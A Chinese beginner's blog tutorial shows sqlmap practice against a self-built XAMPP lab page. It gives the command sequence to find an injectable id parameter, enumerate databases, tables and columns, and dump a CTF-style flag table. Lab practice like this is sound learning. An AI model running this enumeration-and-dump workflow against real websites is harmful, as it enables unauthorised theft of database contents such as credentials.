sqlmap是一个开源软件,用于检测和利用数据库漏洞,并提供了将恶意代码注入其中的选项。 [1] 它是一种渗透测试工具,可在终端中提供其用户界面,从而自动检测和利用 SQL注入 漏洞的过程。 [2] 该软件在命令行运行,可以下载用于不同的操作系统: Linux 发行版, Windows 和 Mac OS 操作系统。 [3] 除了映射和检测漏洞之外,该软件还可以访问数据库,编辑和删除数据以及查看表中的数据,例如用户,密码,备份,电话号码,电子邮件地址,信用卡以及其他机密和敏感信息。。 全面支持所有注入技术:布尔,错误,堆栈,时间,联合。 维基百科

准备工作:

1、背景交代:现在的网站架构越来越多,要想找到一个有着sql注入漏洞的网站练手。我这种小白,还是欠缺经验。倒不如自己搭建一个来得快,反正也是练练手。 2、利用xampp集成工具搭建一个练习环境,简单一点,只写两张页面,一张用来提交数据,一张用来后台处理数据,查询数据库得到结果。 3、相关代码文件已经上传github:https://github.com/yulele17/testsql 操作步骤: 1、检测是否存在注入点,确定注入点的位置:

sqlmap -u  'http://192.168.18.107/testsql/sqll.php?id=1'



java bug测试sql注入问题 sql注入测试常用工具_数据库


发现注入点在参数id上 2、查看有哪些数据库:

sqlmap -u  'http://192.168.18.107/testsql/sqll.php?id=1' --dbs



java bug测试sql注入问题 sql注入测试常用工具_php_02


发现了所有的数据库,共有9个。 3、查看当前数据库

sqlmap -u  'http://192.168.18.107/testsql/sqll.php?id=1' --current-db



java bug测试sql注入问题 sql注入测试常用工具_php_03


得到当前的数据库名称为:testsql。 4、查看当前数据库下有哪些表

sqlmap -u  'http://192.168.18.107/testsql/sqll.php?id=1' -D testsql --tables



java bug测试sql注入问题 sql注入测试常用工具_sql注入 练手网站_04


发现该数据库下只有两个表,其中user自然是存放用户的了。如果是参加比赛的话,一般会选择查看flag这个表(很明显的提示嘛)。 5、查看flag表有哪些列:

sqlmap -u 'http://192.168.18.107/testsql/sqll.php?id=1' -D testsql -T flag --columns



java bug测试sql注入问题 sql注入测试常用工具_java bug测试sql注入问题_05


发现该表只有一列:flag且是varchar(100)类型的。 6、查看该表的内容:

sqlmap -u 'http://192.168.18.107/testsql/sqll.php?id=1' -D testsql -T flag -C flag --dump


只有一列,所以—C后只跟一个参数,如果是多列,用逗号隔开。 参数 --dump 将转储DBMS数据库条目。

java bug测试sql注入问题 sql注入测试常用工具_php_06


得到该表的内容。 小白一个,不对之处,还请批评指正,大神轻喷。